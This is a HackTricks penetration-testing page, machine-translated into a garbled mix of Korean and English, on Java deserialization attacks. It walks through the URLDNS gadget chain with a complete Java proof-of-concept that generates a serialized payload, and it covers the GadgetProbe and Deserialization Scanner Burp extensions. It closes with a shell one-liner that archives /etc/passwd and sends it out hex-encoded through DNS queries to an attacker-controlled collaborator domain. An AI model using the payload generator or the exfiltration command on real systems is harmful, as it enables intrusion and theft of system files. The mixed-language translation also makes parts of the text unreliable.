Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Support HackTricks

DNS 요청 및 역직렬화

클래스 java.net.URLSerializable을 구현합니다. 이는 이 클래스가 직렬화될 수 있음을 의미합니다.

public final class URL implements java.io.Serializable {

이 클래스는 호기심 많은 동작을 가지고 있습니다. 문서에서: “두 호스트는 두 호스트 이름이 동일한 IP 주소로 해석될 수 있는 경우 동등한 것으로 간주됩니다.” 그런 다음, URL 객체가 equals 또는 **hashCode**의 어떤 함수를 호출할 때마다 IP 주소를 얻기 위한 DNS 요청전송됩니다.

URL 객체에서 hashCode 함수를 호출하는 것은 상당히 쉽습니다. 이 객체를 역직렬화HashMap에 삽입하기만 하면 됩니다. 이는 HashMapreadObject 함수의 에서 이 코드가 실행되기 때문입니다:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

It is going the execute putVal with every value inside the HashMap. But, more relevant is the call to hash with every value. This is the code of the hash function: 이것은 HashMap 내부의 모든 값으로 putVal실행것입니다. 그러나, 더 관련성이 높은 것은 모든 값으로 hash를 호출하는 것입니다. 이것은 hash 함수의 코드입니다:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

As you can observe, when deserializing a HashMap the function hash is going to be executed with every object and during the hash execution it's going to be executed .hashCode() of the object. Therefore, if you deserializes a HashMap containing a URL object, the URL object will execute .hashCode().

이제 URLObject.hashCode()의 코드를 살펴보겠습니다:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

As you can see, when a URLObject executes.hashCode() it is called hashCode(this). A continuation you can see the code of this function:

당신이 볼 수 있듯이, URLObject.hashCode()를 실행할 때 hashCode(this)가 호출됩니다. 계속해서 이 함수의 코드를 볼 수 있습니다:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

You can see that a getHostAddress is executed to the domain, DNS 쿼리를 시작합니다.

Therefore, this class can be 악용될 수 있습니다 in order to 시작 a DNS 쿼리 to 증명하기 위해 that 역직렬화 is possible, or even to 정보를 유출할 수 있습니다 (you can append as subdomain the output of a command execution).

URLDNS payload code example

You can find the URDNS payload code from ysoserial here. However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

More information

GadgetProbe

GadgetProbe를 Burp Suite App Store (Extender)에서 다운로드할 수 있습니다.

GadgetProbe는 서버의 Java 클래스에 일부 Java 클래스가 존재하는지 확인하여 취약한지 알 수 있도록 합니다.

How does it work

GadgetProbe는 이전 섹션의 DNS 페이로드를 사용하지만 DNS 쿼리를 실행하기 전에 임의의 클래스를 역직렬화하려고 시도합니다. 임의의 클래스가 존재하면, DNS 쿼리전송되고 GadgetProbe는 이 클래스가 존재한다고 기록합니다. DNS 요청이 결코 전송되지 않으면, 이는 임의의 클래스가 성공적으로 역직렬화되지 않았음을 의미하므로, 존재하지 않거나 직렬화할 수 없거나/악용할 수 없습니다.

GitHub 내에서, GadgetProbe에는 테스트할 Java 클래스가 포함된 일부 단어 목록이 있습니다.

More Information

Java Deserialization Scanner

이 스캐너는 Burp App Store (Extender)에서 다운로드할 수 있습니다. 확장수동 및 능동 기능을 가지고 있습니다.

Passive

기본적으로 모든 요청과 응답을 수동적으로 확인하여 Java 직렬화 마법 바이트를 찾고, 발견된 경우 취약성 경고를 표시합니다:

Active

Manual Testing

요청을 선택하고 마우스 오른쪽 버튼을 클릭한 후 Send request to DS - Manual Testing을 선택할 수 있습니다. 그런 다음, Deserialization Scanner Tab --> _Manual testing tab_에서 삽입 지점을 선택할 수 있습니다. 그리고 테스트를 시작합니다 (사용된 인코딩에 따라 적절한 공격을 선택).

이것이 "수동 테스트"라고 불리지만, 상당히 자동화되어 있습니다. 역직렬화어떤 ysoserial 페이로드취약한지 자동으로 확인하고, 웹 서버에 존재하는 라이브러리를 확인하여 취약한 라이브러리를 강조 표시합니다. 취약한 라이브러리확인하기 위해 Javas Sleeps, CPU 소비를 통한 sleeps, 또는 이전에 언급된 DNS를 사용할 수 있습니다.

Exploiting

취약한 라이브러리를 식별한 후, 요청을 _Exploiting Tab_으로 보낼 수 있습니다. 이 탭에서 주입 지점을 다시 선택하고, 페이로드를 생성할 취약한 라이브러리명령작성해야 합니다. 그런 다음, 적절한 공격 버튼을 누릅니다.

Java Deserialization DNS Exfil information

페이로드가 다음과 같은 작업을 실행하도록 만드세요:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

More Information

HackTricks 지원하기

Last updated